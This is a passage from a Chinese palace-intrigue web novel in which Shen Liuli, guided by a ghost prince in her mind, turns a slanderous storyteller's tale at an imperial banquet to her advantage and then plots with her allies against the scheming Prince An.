“小姐,您……您真的要穿这件吗?”春桃看着那件,由内务府连夜赶制出来的淡紫色宫装。
那衣裳的样式,素净得近乎于寡淡,除了在袖口和领口处,用银线绣了几朵不起眼的兰草外,再无任何多余的装饰。
配上那几件同样素雅的珍珠首饰,任谁看了,都会觉得这只是一个落魄贵女。
“简直胡闹!”君北玄的声音,带着鄙夷,“本王再说一遍!宴会就是战场!你现在要面对
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的是饿狼和狐狸!你把自己打扮成一只人畜无害的小白兔?你这是生怕别人不知道,你很好欺负吗?!”
“不然呢?”沈琉璃任由老嬷嬷为自己梳着头,在心里,不紧不慢地回应着某个,早已在她脑海中咆哮了半个时辰的鬼王爷。
“王爷,您习惯了在战前,向敌人展露自己最锋利的獠牙,讲究的是‘先声夺人’。可我不是将军,我是个‘囚徒’。一个聪明的囚徒,在面对审判的时候,最需要的不是锋利,是无害。”
“歪理邪说!”君北玄冷哼一声,“那你倒是说说,你这身‘无害’的行头,除了能让你的敌人更看不起你之外,还能有什么用?!”
“用处大了。”沈琉璃回应道,“它能让皇后娘娘觉得我温顺、恭敬,上不得台面,构不成任何威胁。”
“它能让两位殿下觉得,我早已是**之末,不足为惧。”
“最重要的是,”她的声音,变得无比幽冷,“它能让那位高高在上的陛下,对我这个可怜的棋子,放松警惕。”
“只有这样,我这只‘兔子’,才能在所有人都没反应过来的时候,咬断他们所有人的喉咙。”
……
暖心阁,名为“暖心”,实则是一座,建立在温泉上的独立宫殿。殿内温暖如春,与殿外那冰天雪地的景象,恍若两个世界。
当沈琉璃在陈公公的引领下,缓缓走进这座温暖的“囚笼”时,所有人的目光,都齐刷刷地投向了那个,身着素衣,却依旧挺直了脊梁的少女。
皇后韦氏高坐于主位之上,她的身旁,坐着的是一脸“病容”的大皇子李裕。而在她的下首,则是安静品茶的二皇子李昭和面带忧色的三皇子李琰。
除此之外,还有几位在宗室中,德高望重的亲王与福晋,他们便是这场“家宴”的见证人。
“罪臣之女沈琉璃,参见陛下,参见皇后娘娘,参见各位王爷、福晋。”
沈琉璃走到大殿中央,对着主位,盈盈一拜。她的声音不大,却清晰地传入了在场每一个人的耳中。
“起来吧。”
开口的,是皇帝君宏德。他今日,也难得地换下了一身龙袍,只着一身明黄色的常服,看起来倒真像一个普通的大家长。
“你前几日受了惊吓,身子不适,今日看着气色倒还不错。”皇后韦氏缓缓开口,声音里听不出喜怒。
“多谢娘娘挂念。”沈琉璃站起身,脸上露出了一个感激的笑容,“都是托了陛下的洪福,臣女的身子早已大好了。”
她这番话说得滴水不漏,将一个受了“天恩”的臣女形象,扮演得入木三分。
“好了,”皇帝摆了摆手,打断了她们之间这虚伪的客套,“今日是家宴,不必拘泥于那些繁文缛节,都入座吧。”
沈琉璃被安排在了一个,离主位不远不近,却又恰好能被所有人看清的位置上。
第80章 听书的人
宴席开始,宫人们如同穿花蝴蝶一般,将一道道精美的菜肴,流水般地呈了上来。
整个暖心阁内,一派祥和。
可所有人都知道,这不过是暴风雨前,最后的宁静。
果然,酒过三巡,菜过五味。
一直沉默不语的大皇子李裕,忽然站起了身。
“父皇,母后,”他端起酒杯,脸上挂着温润的笑容,“今日家宴,儿臣见各位叔伯兄弟都在,心中欢喜。只是,光是饮酒未免有些无趣。儿臣前些时日,得了一支江南来的说书戏班,其口技一绝,能模仿世间万物的声音。不如,便让他们上来,为父皇母后,说上一段助助兴,如何?”
“哦?”皇帝来了兴趣,“既是裕儿的心意,那便让他们上来,让朕开开眼界吧。”
“是!”
李裕对着身后,使了个眼色。
片刻之后,一名身着青布长衫的说书先生,带着两名乐师,缓缓地走了进来。
那先生一开口,便技惊四座!
他时而模仿风声鹤唳,时而模仿金戈铁马,时而又模仿虎啸猿啼,竟真的将一座,充满了肃杀之气的沙场,活灵活现地搬到了所有人的面前!
在场的所有人,都听得如痴如醉。
然而,沈琉璃的心,却猛地一沉!
李裕的刀终于出鞘了!
那说书先生在炫技过后,对着主位躬身一拜。
“陛下,皇后娘娘!”他朗声说道,“小人今日,要为各位贵人,说上一段前朝的奇闻。”
“说的是,前朝末年有一小国,为求自保,便将国中最美的公主,送往天朝和亲,许给了当时的太子殿下。”
“可谁知,那公主,竟是个蛇蝎心肠的毒妇!她非但没有安分守己,反而仗着太子的宠爱,在天朝的都城内结党营私,祸乱朝纲!”
“她先是,用美色和金钱,收买了朝中的一位少年将军,让其为她所用!”
“而后,又与自己那同样身为质子的表兄,里应外合,窃取了天朝的军防舆图!”
“最终,在那位少年将军的帮助下,他们成功地在太子殿下,外出巡视之时,设下埋伏,意图行刺!”
“只可惜,天网恢恢,疏而不漏!他们的阴谋,最终还是被英明神武的天子,给当场识破!”
“那毒妇与她的奸夫淫夫,最终也被尽数擒获,落得一个,被万箭穿心,死无全尸的下场!”
这个故事,说得跌宕起伏,绘声绘色!
可在场的所有人,都不是傻子!
他们当然听得出来,这故事里的每一个字,每一句话,都是在指桑骂槐!
那所谓的“小国公主”,不就是她沈琉璃吗?!
那所谓的“少年将军”,不就是那个,与她“关系匪浅”的北境势力吗?!
而那个“同样身为质子的表兄”,不就是三皇子李琰吗?!
一瞬间,所有人的目光,都齐刷刷地投向了那个,早已是面无人色的少女!
大皇子李裕看着她,脸上露出了一个残忍的笑容。
他就是要用这种方式,当着所有人的面,将她所有的“罪行”,都公之于众!
他要让她,百口莫辩,身败名裂!
当说书先生的最后一个字,在暖心阁内落下时。
春桃早已吓得浑身发抖,她下意识地上前一步,想用自己那瘦弱的身体为自家小姐挡住这漫天的恶意,却被沈琉璃一个眼神制止了。
三皇子李琰的脸色铁青,放在桌下的手早已攥成了拳头,他几次三番地想站起身来,却又被身旁幕僚死死地按住。
而大皇子李裕,则好整以暇地端起了面前的酒杯,对着沈琉璃遥遥一敬。
“反击!立刻反击!”
在沈琉璃的脑海中,君北玄的咆哮声,几乎要将她的意识给掀翻了!
“他这是在向你宣战!他已经将刀架在了你的脖子上!你还在等什么?!站起来!告诉所有人,这个故事里的‘毒妇’,影射的正是他那个,为了争权夺利而不择手段的母亲!以彼之道,还施彼身!”
“王爷,您别急。”沈琉璃在心里,平静地回应,“您这不叫‘反击’,这叫‘对骂’。泼妇骂街,固然痛快,却也失了体面。您忘了,我们今天面对的是谁了吗?”
她的目光,不着痕跡地朝着主位上那个,从始至终都面无表情的皇帝,瞥了一眼。
“皇帝这个老狐狸,他想看的不是一场闹剧。”她的声音,变得无比冷静,“他想看的,是我们这些做棋子的,到底谁的手段更高明。”
“我若是现在站起来,与大皇子对骂。无论输赢,在他眼中都已是输了。”
“那你说怎么办?!”君北玄气得在她脑子里来回踱步,“难道就任由他,将这盆脏水,尽数泼在你的身上吗?!”
“当然不。”沈琉璃微笑着回应道,“将军,您教过我,两军交战,攻心为上。他既然想唱戏,那我们便安安静静地当一个‘听书人’。”
“有时候,最高明的反击,不是去驳斥对手的言语。”
“而是要,解构他的故事,抽掉他的筋骨,再将这副皮囊,变成我们自己的武器。”
就在所有人都以为,沈琉璃会崩溃的时候。那个一直低着头的少女,却缓缓地抬起了头。
她的脸上没有惊慌,没有愤怒,甚至没有半分委屈。
只有一种,让人看不懂的平静。
她缓缓地站起身,没有去看大皇子,也没有去看主位上的皇帝和皇后。
她只是,对着那个说书先生,盈盈一拜。
“先生的故事,说得真好。”
她的声音,清脆悦耳,打破了房间里的死寂。
这一拜,这一句话,让在场所有人都愣住了。
大皇子李裕脸上的笑容,瞬间僵住。他准备好了一万句说辞,准备好了欣赏她的丑态,却唯独没有料到,她会是这般反应?
“沈大小姐,客气了。”那说书先生也是一愣,随即连忙躬身还礼。
“不,我不是在客气。”沈琉璃摇了摇头,走到了大殿的中央。
“先生这个故事,于琉璃而言,简直是醍醐灌顶,振聋发聩!”
她转过身,对着主位上的
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皇帝和皇后,再次重重一拜。
“陛下,娘娘!”她恭敬地称呼道,“臣女多谢大殿下,为臣女请来了这位先生!”
“臣女本以为,今日只是一场寻常的家宴。却不想,大殿下竟是如此地用心良苦,特意寻了这么一个故事,来提点臣女!”
她这番话,说得情真意切,将一个即将远嫁异国,对未来充满了担忧的少女形象,刻画得入木三分。
就连一向不苟言笑的皇帝,在听到她这番话时,也忍不住开口,问道:“哦?那你不妨说说,你从这个故事里,都听出了些什么啊?”
“回皇上,”沈琉璃站直了身体,声音变得无比清亮,“臣女听出了,三个道理。”
“第一,”她伸出一根纤细的手指,“‘敬畏’二字。”
“故事里的那位公主,之所以会落得一个万箭穿心的下场,便是因为她忘了自己的身份,忘了对天朝的敬畏之心。她以为,凭着太子的一点宠爱,便可在异国他乡,为所欲为。却不知,天威浩荡,不容侵犯!”
“这个故事,是在提醒臣女。日后嫁入大徽,代表的便是我乾国的颜面。一言一行,都必须谨小慎微,恪守本分。绝不能像故事里的那位公主一样,恃宠而骄,最终落得一个,国破家亡的下场!”
她这番话,说得掷地有声!
将一个本是用来羞辱她的故事,变成了一场对自己未来言行的“警示大会”!
“第二,”她又伸出第二根手指,“‘险恶’二字。”
“故事里的那位少年将军,那位与公主‘关系匪浅’的表兄,他们之所以会背叛自己的国家,背叛自己的君主,便是因为他们心中,藏着不该有的野心!”
“这个故事,是在提醒臣女。日后,身处大徽后宫,必然也会遇到各种各样的人。他们或许表面温和,或许与我有血缘之亲,但他们的内心深处,或许都藏着不为人知的险恶!臣女必须时刻保持警惕,擦亮眼睛,绝不能被小人蒙蔽,最终被人当成了棋子,还不自知!”
她这番话,看似是在说故事里的人,实则却是字字诛心!
将大皇子李裕的险恶用心,不动声色地揭露在了所有人的面前!
“至于这第三嘛……”沈琉璃顿了顿,继续说道,“是‘英明’二字!”
“故事里的那位天子,之所以能识破奸计,平定叛乱,便是因为他有着洞悉一切的智慧和杀伐果断的魄力!他不会被小人的谗言所蒙蔽,更不会被妇人的眼泪所欺骗!他看到的永远是真相!”
“这个故事,让臣女心中,充满了前所未有的安全感!”
她看着主位上的皇帝,眼中闪烁着孺慕的光芒。
“因为它让臣女知道,无论未来臣女身在何处,无论会遇到何等的艰难险阻。在臣女的身后,永远都站着一位,像故事里的天子一样,英明神武的皇上!”
“有皇上在,臣女什么都不怕!”
她这记马屁,拍得惊天动地!
将一个本是用来攻击她的故事,变成了一场对当朝天子最华丽的赞歌!
第81章 天子的赏赐
一时间,整个暖心阁内,鸦雀无声。
所有人的脸上,都写满了不敢置信的震惊!
他们怎么也没想到,这个看似柔弱的少女,竟会用这种方式,将一场必杀之局,给硬生生地盘活了!
大皇子李裕的脸色,早已是难看到了极点!
他感觉自己,就像一个用尽了全身力气,打出了一记重拳的拳手。可他打中的,却不是什么血肉之躯,而是一团轻飘飘的棉花!
那种无处着力的憋屈感,几乎要让他当场吐血!
而主位之上,一直面无表情的皇帝君宏德,在听完沈琉璃这番话后,缓缓地开了口。
“说得好。”
他缓缓地吐出了这三个字。
随即,他将目光,投向了那个,早已是面如死灰的说书先生。
“你叫什么名字?”
“小……小人,王……王二。”
“王二,”皇帝看着他,脸上露出了一个和善的笑容,“你今日,说得很好。”
“赏。”
他说完,便不再看任何人,只是端起面前的酒杯,浅呷一口。
仿佛,刚才那场惊心动魄的交锋,只是一场无足轻重的表演。
早已吓得面如死灰的王二,在听到“赏”字时,整个人都懵了。他呆呆地跪在原地,甚至忘了谢恩,脑子里一片空白。
赏?
赏什么?
赏他编排了一个恶毒的故事?
**。
在场的所有人,也同样不知道。
大皇子李裕的脸色,在一瞬间变得无比难看。
父皇这个“赏”字,看似是在肯定他请来的戏班,实则却像一记无声的耳光,狠狠地扇在了他的脸上!
因为,所有人都看得出来,今天这场戏,真正唱得好的,不是这个说书人,而是那个,将被他置于死地的沈琉璃!
整个暖心阁内,鸦雀无声。
“漂亮。”君北玄的声音,在沈琉璃的脑海中响起,“你这个女人,用一个‘赏’字,不仅彻底废掉了李裕的杀招,更是将皇帝那个老狐狸,也给架在了火上烤。”
“他若赏得重了,便等于是在告诉所有人,他赞同李裕的构陷。”
“他若赏得轻了,又会显得他这个天子,小家子气,失了体面。”
“最重要的是,”君北玄的声音里,带上了几分笑意,“你用这种方式,逼着他做出了一个选择。一个,在这场闹剧中,他到底站在哪一边的选择。”
“王爷过奖了。”沈琉璃在心里,平静地回应,“我只是不想死罢了。”
她知道,自己今夜,又一次从鬼门关前,硬生生地爬了回来。
“好了。”
就在这片沉默中,皇帝君宏德,终于再次开了口。
他没有再看那个还跪在地上的说书先生,而是将目光,投向了沈琉璃。
他顿了顿,话锋一转,看似随意地问道:“朕听闻,你那揽月楼中,奇珍异宝颇多,连‘雪山玫瑰’都能寻得,不知可曾听过‘龙血玉珊瑚’?”
龙血玉珊瑚?!
这个名字,让沈琉璃的心,猛地一跳!
“回禀陛下,”她连忙躬身,脸上露出了几分困惑,“臣女愚钝,从未听过此物。”
“哦?”皇帝笑了笑,不置可否。
他缓缓地解释道:“此物非金非玉,乃是生长于南海万丈深渊下的一种奇物,百年方长一寸,千年才能成形。通体血红,温润如玉,夜间能散发出淡淡的幽光。若将其磨成粉末,制成熏香,有凝神静气、延年益寿之奇效。”
“朕近来,为国事烦忧,夜不能寐。你既然人脉通达,便为朕寻来此物吧。”
这句话,让沈琉璃心中一惊。
她怎么也没想到,皇帝竟会在此刻,提出这么一个要求!
“陛下说笑了,”沈琉璃的脸上,露出了一个为难的神情,“此等神物,想必早已是海内孤品,臣女怕是有心无力啊。”
“无妨。”皇帝摆了摆手,继续说道,“朕知道此事不易,所以,朕给你足够的时间。”
“一个月。”
“一个月后,朕要亲眼看到,你将此物呈到朕的面前。”
他说完,便不再看任何人。
仿佛,他刚才说的,不过是一件无足轻重的家常小事。
……
当沈琉璃重新回到“静心殿”时,已是深夜。
春桃早已吓得六神无主,她一边为沈琉璃卸着头上的凤钗,一边带着哭腔说道:“小姐,这可怎么办呀?那个什么‘龙血玉珊瑚’,奴婢听都没听说过,咱们去哪里找啊?陛下他分明就是在故意刁难我们!”
“我知道。”沈琉璃看着镜中的自己,轻声说道。
“哼,何止是刁难?”君北玄在她脑中,冷冷地说道,“他这是在给你下最后的通牒!”
“他今日,将你逼入了绝境!一个月的时间,去寻一件只存在于传说中的神物?这根本就是不可能完成的任务!”
“他这是在告诉你,你这枚棋子,若是再不听话,他随时都可以,将你从棋盘上,彻底抹去!”
君北玄的分析,让沈琉璃的心,沉入了谷底。
“那……那我们现在该怎么办?”春桃的声音里,充满了绝望。
“怎么办?他不是想要神物吗?”
“那我们,便为他,寻来便是!”
她猛地站起身,走到书案前,铺开了一张空白的宣纸。
“王爷,”她在心里,说道,“您在北境征战多年,见过的奇珍异宝,比宫里的那些老古董们只多不少。您对这‘龙血玉珊瑚’,可有半分印象?”
“印象?”君北玄沉默了片刻,才缓缓说道,“此物,本王只在当年,审问一名南洋海盗头目时,听他提起过一次。他说,这东西是南海鲛人族的圣物,寻常人别说是得到,便是靠近那片海域,都会被撕成碎片。”
“鲛人族……”沈琉璃的心,沉了下去。
“不过,”君北玄话锋一转,“那个海盗头目还提到过一个组织。”
“什么组
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织?”
“一个,能将生意,做到鲛人族头上的组织。”君北玄的声音里,带上了几分凝重。
“四海商盟!”
沈琉璃的眼睛,瞬间亮了!
看来,自己终于找到了,破局的线索!
“他不是想看神物吗?”
“那我们,便为他,送上一份来自南海深处的……”
“惊天大礼!”
春桃看着自家小姐的眼睛,只觉得自己的脑子已经不够用了。
“小姐,您……您真的有办法找到那个什么珊瑚?”她小声地问道,声音里充满了不敢置信,“奴婢听都没听说过,那四海商盟又是什么地方?是比鬼市还吓人的地方吗?”
“我不知道。”沈琉璃摇了摇头,“但我知道,这是皇上亲手为我们打开的一扇门。”
“门?”春桃更困惑了,“这分明就是一堵墙啊!”
“哼,你这丫鬟总算说了句有见识的话。”君北玄的声音,在她脑海中响起,“这确实是一堵墙,一堵能将我们活活困死在这里的墙。皇帝那个老狐狸,他根本就没想过你能找到什么‘龙血玉珊瑚’,他只是在用这种方式告诉你,你的命捏在他的手里!”
君北玄的认知里,在绝对的实力差距面前,任何看似是“机会”的东西,都有可能是最致命的陷阱。
“王爷,您说的对。”沈琉璃在心里,不紧不慢地回应,“可您是不是忘了,墙的另一边是什么?”
“是死路一条!”
“不,”沈琉璃回答道,“墙的另一边,是整个天下。”
“皇帝给了我一个不可能完成的任务,却也给了我一个,可以名正言顺地将手伸向宫外的理由。”
“他不是想看神物吗?”她的声音,变得无比坚定,“那我们,便为他寻来便是!”
君北玄沉默了。
这个女人的每一步棋,都走得险之又险,却又总能在一个意想不到的地方,找到一线生机。
“那你打算如何?”他问道,“你现在身处皇宫,与外界的一切联系都已被切断。你总不能,指望那个什么‘四海商盟’的人,自己长着翅膀飞进来看你吧?”
“我自然没有那个本事。”沈琉璃笑道,“但我们可以请他们进来。”
“请?”
“没错。”沈琉璃走到书案前,铺开了一张空白的宣纸,“王爷,您还记得,您之前提过的那位南洋海盗头目吗?”
“记得,怎么了?”
“您能否,将他所描述的,那片所谓的‘鲛人海域’,大致的方位和特征,都告诉我?”
“你要做什么?”君北玄的语气里带上了几分警惕,“你该不会是想,凭着一个海盗的胡言乱语,就去那片鸟不拉屎的地方,寻找什么神仙宝藏吧?沈琉璃,本王告诉你,那不是冒险,那是送死!”
“王爷,您就别操心了。”沈琉璃一边研着墨,一边在心里,没好气地回敬了一句,“我只是想为陛下,画一幅‘藏宝图’罢了。”
第82章 四海之门
接下来的两日,静心殿内,风平浪静。
沈琉璃将所有的时间,都投入到了绘制“藏宝图”的上面。
在君北玄的描述下,一幅充满了奇幻色彩的南海舆图,渐渐地在她的笔下成型。
她画了传说中,能掀起滔天巨浪的独脚海怪;画了歌声能蛊惑人心的海妖;更画了那片,终年被迷雾所笼罩,却又在海底深处,生长着血色珊瑚的神秘海域。
她的画工,算不上顶尖,可这幅画,却胜在想象力丰富,充满了令人心驰神往的神秘感。
而这幅画,也被陈公公的送到了御书房,呈到了皇帝的案头。
“哦?”
皇帝君宏德看着眼前这幅画作,也是略带惊讶。
“这个丫头,倒是有趣。”他捻起那张尚未完全干透的画纸,笑着对身旁的陈公公说道,“被朕关在这笼子里,不仅不哭不闹,竟还有心思,给朕画这些神仙鬼怪的故事。你说,她这是不是在跟朕耍花样啊?”
“奴才愚钝。”陈公公躬着身子,不敢多言。
皇帝将那张画,随手放在了一旁。
“她这是在告诉朕,她虽然找不到那件东西,却愿意为了朕,去倾尽所有。”
“她是在向朕,表忠心啊。”
“去。”他缓缓开口,“传朕旨意。”
“告诉沈大小姐,她这份忠心,朕收下了。从今日起,她便不必再待在这静心殿了,即刻返回尚书府‘静养’。”
“不过,”皇帝继续说道,“也替朕转告她,一个月的时间,不多不少。朕等着她,将那真正的‘龙血玉珊瑚’,呈到朕的面前。”
……
当这道旨意传到静心殿时,春桃激动得差点当场哭出来。
“小姐!我们可以回家了!我们终于可以回家了!”
沈琉璃的心,也终于落回了实处。她知道,自己这步险棋,又一次走对了。
她成功地,用一幅虚无缥缈的“藏宝图”,为自己换来了最宝贵的自由。
……
与此同时,刚刚返回揽月楼的顾九,也从一个地下药市的线人那里,得到了一个让他不寒而栗的消息。
“顾先生,”那线人压低声音道,“您让我查的‘凤凰胆’,有眉目了。”
“在哪里?!”
“不在药市,也不在任何一家商号。”那线人说道,“听说,此物早已被一个人,重金购得,藏于府中。”
“谁?”
“安王,李宗霖。”
而就在此时,沈琉璃,以及从通州港浴血归来的陆风,也相继到达了揽月楼。
时隔月余,三位盟友,终于再次聚首。只是重逢的喜悦,却被眼前这两件‘大礼’,给冲得烟消云散。
黑色莲花图案的令牌。
凤凰胆,藏于安王府。
一个,是代表着未知杀机与第三方势力的诡异图腾。
另一个,则是能彻底治愈张启年儿子的希望。
两条看似毫无关联的线索,在这一刻,都精准地指向了同一个人。
那个终日礼佛,与世无争的安王,李宗霖。
“**……”
第一个打破这片死寂的,是顾九。
他伸出手,想去碰那枚黑莲令牌,却又像是被什么无形的东西烫到了一般,猛地缩了回来。
“我怎么觉得,这玩意儿比我药箱里那些毒蝎子还瘆人呢?”他啧啧称奇,“一个整天阿弥陀佛的老王爷,背地里竟还养着这么一群见不得光的**?这算什么?佛祖座下的黑无常吗?”
“此事,必有蹊跷。”陆风的声音,沉稳如山。
他那张冷峻的脸上,看不出任何表情:“这枚令牌的材质,是南**有的‘铁骨鳄’的头骨,他们的背后,必然有一个我们完全不了解的势力。”
“那还等什么?!”君北玄的声音,在沈琉璃的脑海中,如同惊雷般炸响,“管他什么黑莲白莲!既然所有的线索都指向了安王那个老狐狸,那便说明他才是那条藏得最深的毒蛇!陆风已经回来了,让他立刻带上狼卫,潜入安王府!本王就不信,掘地三尺,还找不出他的狐狸尾巴!”
在他看来,任何潜在的敌人,都必须在第一时间,用雷霆手段将其扼杀在摇篮里。
“王爷,您别急。”沈琉璃在心里,安抚着这个暴躁的灵魂,“您不觉得,这件事太巧了吗?”
“巧?”
“没错。”沈琉璃的指尖,在冰冷的桌面上,轻轻地划过,“我们前脚刚开始怀疑安王,后脚这两份足以将他钉死的‘证据’,便如此凑巧地同时送到了我们面前。”
“一份,来自千里之外的通州港,由一群我们闻所未闻的**‘赠予’。”
“另一份,则来自都城最鱼龙混杂的地下药市,由一个不知名的线人‘泄露’。”
“这感觉,不像是我们自己查出来的。”她的声音,变得无比凝重,“倒像是有人,在故意将这两样东西,喂到我们的嘴边。”
“你是说……”君北玄也反应了过来,“这是个陷阱?!”
“我不知道。”沈琉璃摇了摇头,“但我们必须做好最坏的打算。”
她抬起头,看向了在场的众人。
“顾先生,”她第一个,将目光投向了那个神医,“关于‘凤凰胆’的消息,来源可靠吗?”
“绝对可靠。”顾九收起了那副吊儿郎当的模样,肯定地回答,“那个线人,是小爷我花了整整三个月,才安**药市核心圈子的‘鼹鼠’,他传出来的消息比金子还真。”
“不过,奇怪的也正在这里。”他话锋一转,脸上露出了几分困惑,“按理说,‘凤凰胆’此等神物,安王便是得到了,也该是深藏起来,为何会如此轻易地让一个外人得知了消息?这感觉,倒真像是他故意放出来的风声。”
“这就对了。”沈琉璃点了点头,随即又将目光,转向了陆风。
“陆将军,你觉得那伙黑衣**,他们的目标真的是那个信使吗?”
陆风沉吟了片刻,才缓缓开口:“回主公,属下当时也觉得奇怪。那伙人的身手,虽然远不及狼卫,却也算得上是精锐,可他们的打法却很奇怪。”
“他们看似招招致命,实则处处留有余地。与其说是在‘刺杀’,倒不如说,更像是在‘拖延’。”
“拖延?”
“没错,他们像是在等我们出手。”陆风的眼中,闪过了一抹精光,“然后,再用一种最‘合理’的方式,将这枚令牌‘送’到我们的手上。”
这番话,让在场所有人的心,都沉入了谷底!
如果说,之前的一切还只是猜测。那么现在,他们几乎可以肯定,自己已经掉进了一个
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,由安王亲手为他们布下的天罗地网!
“他到底想做什么?!”春桃早已是吓得面无人色,声音都在发颤,“他既然想对付我们,为何不直接动手?反而要费这么大劲,跟我们玩这种猜谜的游戏?”
“因为,他要的不是我们的命。”沈琉璃看着桌上那枚,在烛火下泛着幽光的黑莲令牌,“他要的是我们手中的那份,足以扳倒大皇子的证据!”
“他知道,我们手上握着张启年这张王牌。可他也同样知道,我们不敢轻易地,将这张牌打出去。”
“所以,他便为我们,送来了这两份‘大礼’。”
“那‘凤凰胆’,是诱饵。他在用张启年儿子的性命,来逼我们,不得不与他产生联系。”
“而这枚‘黑莲令’,则是他递过来的刀!他在用这种方式告诉我们,他有能力,也有实力,成为我们扳倒大皇子的最强盟友!”
“他这是在……招安我们!”
君北玄在她脑中,说出了最后的答案。
“好一个安王!”顾九忍不住,发出了一声由衷的赞叹,“这个老狐狸,真是把人心算计到了骨子里!他这是想空手套白狼,让我们去当他手中的枪,为他除去大皇子这个心腹大患啊!”
“那……那我们现在该怎么办?”春桃的声音里,充满了绝望,“这简直就是一个死局啊!我们若是与他合作,便等于与虎谋皮。可我们若是不合作,张将军的儿子便没救了,我们也将失去这唯一的臂助!”
是啊,怎么办?
所有人的目光,都聚焦在了沈琉璃的身上。
“合作,自然是要合作的。”
许久,沈琉璃才缓缓开口。
她的脸上,露出了让所有人都看不懂的笑容。
“只是,这合作的方式,便由不得他了。”
她站起身,走到舆图前,指尖在那座,代表着“安王府”的标记上,轻轻一点。
“他不是想当‘黄雀’吗?”
“那我们,便为他准备一场,让他永生难忘的好戏!”
她转过身,看着在场的所有人,下达了一连串的指令。
“陆将军,”她第一个,将目光投向了陆风,“从现在起,你不用再理会任何关于‘黑莲令’的线索。我需要你,立刻带上狼卫返回通州港!”
“返回通州港?!”陆风一愣。
“没错。”沈琉璃点了点头,“我需要你,在那里为我寻一个人。”
“一个,早已被所有人都遗忘了的‘**’。”
随即,她的目光又转向了顾九。
“顾先生,你的任务,是继续为张家公子‘治病’。”
“治病?”顾九指了指自己的鼻子,“主公,您没开玩笑吧?没有‘凤凰胆’,我拿什么治?用我的口水吗?”
“我自然知道,你治不好。”沈琉璃继续说道,“所以,我才更需要你,将这场病,治得越久越好,越轰动越好。”
“我要让全天下的人都知道,我沈琉璃为了兑现承诺,正在倾尽所有,为张家公子,寻医问药。”
“我要让安王那个老狐狸,清清楚楚地看到,他为我们准备的这个‘诱饵’,是何等得美味。”
“只有这样,他才会放下所有的戒备,心甘情愿地走进我们为他准备的,”
“另一个陷阱。”
第83章 轰动的救治
听到沈琉璃的指令,饶是陆风和顾九这等早已见惯了大风大浪的人,也忍不住当场愣住了。
返回通州港,去寻一个“**”?
继续为张家公子“治病”,还要治得越久越好,越轰动越好?
这……这是什么路数?
“主公,”陆风第一个提出了质疑,“通州港之事已了,信使已除,令牌也已夺回。我们为何还要重返险地?至于那个‘**’,属下更是闻所未闻。”
“是啊,主公。”一旁的顾九,指了指自己肩上的伤口,说道,“您是不是忘了,小爷我才是那个最需要医治的人?您现在不仅不让我好生休养,反而要让我去当个‘演员’,去给一个我根本救不了的小屁孩演戏?这简直是不人道!”
“胡闹!”君北玄的声音,更是在沈琉璃的脑海中,毫不客气地炸响,“沈琉璃,你到底想做什么?!安王那个老狐狸已经亮出了獠牙,我们现在要做的,是立刻整合所有力量,找到他的致命破绽,发动雷霆一击!而不是将我们本就捉襟见肘的兵力,分散到毫不相干的地方,去做看起来毫无意义的事情!”
面对盟友们集体性的质疑,沈琉璃却显得异常平静。
“王爷,您是不是忘了,安王他不是普通的敌人。”她在心里,耐心地解释道,“他是一条,将自己伪装得完美无瑕的毒蛇。我们现在连他的蛇洞在哪里都不知道,又如何能发动‘雷霆一击’?”
“他给我们设下了两个陷阱,一个叫‘凤凰胆’,一个叫‘黑莲令’。他以为,我们必然会像闻到血腥味的鲨鱼一样,不顾一切地扑上去。”
“可他却不知道,”她继续说道,“有时候,高明的猎手,在面对一个未知的陷阱时,会选择,扔两块石头进去,探一探深浅。”
她站起身,走到了舆图前。
“陆将军,”她看着陆风,声音变得无比坚定,“你还记得,昨夜那伙黑衣**的打法吗?”
“记得。”陆风点了点头,“看似招招致命,实则处处留有余地,更像是在拖延。”
“没错。”沈琉璃的指尖,在舆图上,重重一点,“我怀疑,他们拖延的目的,就是为了等我们出手,然后将那枚‘黑莲令’,‘送’到我们的手上。而那个被我们当场格杀的信使,不过是一个被推到台前的弃子罢了。”
“我甚至怀疑,真正重要的东西,根本就不在他的身上!”
“我需要你,重返通州港,不是去追查那些早已逃之夭夭的**。而是要去查一查,在那场混战中,是否还有别的‘**’。一个,被所有人都忽略了的,真正的信使!”
这番大胆的推论,让陆风的眼中,瞬间闪过了一抹精光!
“至于顾先生……”沈琉璃又将目光,转向了那个还在唉声叹气的酒鬼神医。
“我知道,让你去演戏,是委屈你了。”她缓缓说道,“但我需要你这块最响亮的招牌,为我敲响一出,能让整个都城都听见的大戏!”
……
第二日清晨,一则惊人的消息,传遍了都城的大街小巷。
尚书府那位,刚刚才从宫里出来的沈大小姐,竟以“揽月楼”的名义,贴出了一张万金悬赏的皇榜!
悬赏的内容,不是为了捉拿什么江洋大盗,也不是为了寻找什么失传的宝物。
而是为了,救一个人。
皇榜上,沈琉璃用诚恳的语气写道,她感念张将军为国戍边之功,不忍见其血脉断绝。故在此,以万两黄金为酬,遍请天下名医,为张家公子诊治。
另外,凡能提供“凤凰胆”线索者,赏千金;凡能献上此神物者,赏万金!
这张皇榜一出,整个都城,彻底沸腾了!
“天哪!万两黄金!只为救一个不相干的人?这位沈大小姐,也太菩萨心肠了吧!”
“何止是菩萨心肠!我听说,那张将军之前可是大皇子的人,跟沈家一向不睦。沈大小姐此举,简直是以德报怨啊!”
一时间,沈琉璃的声望,在民间达到了前所未有的顶峰。
而在这场**狂欢中,一个身着道袍,看起来仙风道骨的“云游神医”,揭下了那张皇榜。
他,自然就是顾九。
……
接下来的几日,张府门前车水马龙,热闹非凡。
顾九,这位新晋的“神医”,在张府内,上演了一出“救治”大戏。
他先是以“病人需要静养”为由,将张府内所有的眼线,都给客客气气地“请”了出去。
随即,他又开出了一张张,看起来极其唬人,实则屁用没有的药方。
什么“东海的夜明珠磨成粉,做药引”,什么“西域的千年雪参当柴烧”,什么“每日清晨的第一滴无根之水,煎药”……
总之,怎么金贵怎么来,怎么离谱怎么整。
而揽月楼,则成了他最坚实的后盾。每日,都有数辆满载着珍贵药材的马车,浩浩荡荡地从揽月楼出发,一路敲锣打鼓地将药材送入张府。
这阵仗,比皇帝出巡还要夸张!
整个都城,都被这场喧嚣的“救治”给吸引了。无数的百姓,每日都**在张府的门外,翘首以盼,想亲眼见证,这位“神医”创造奇迹。
这场戏,演得轰轰烈烈。
可身处戏中的顾九,却是有苦难言。
“**!”这日深夜,他将一杯早已凉透了的茶水,一饮而尽,对着前来送药的忠叔,大吐苦水,“忠叔,您是不知道啊!小爷我这辈子,救人无数,还从未像现在这般憋屈过!”
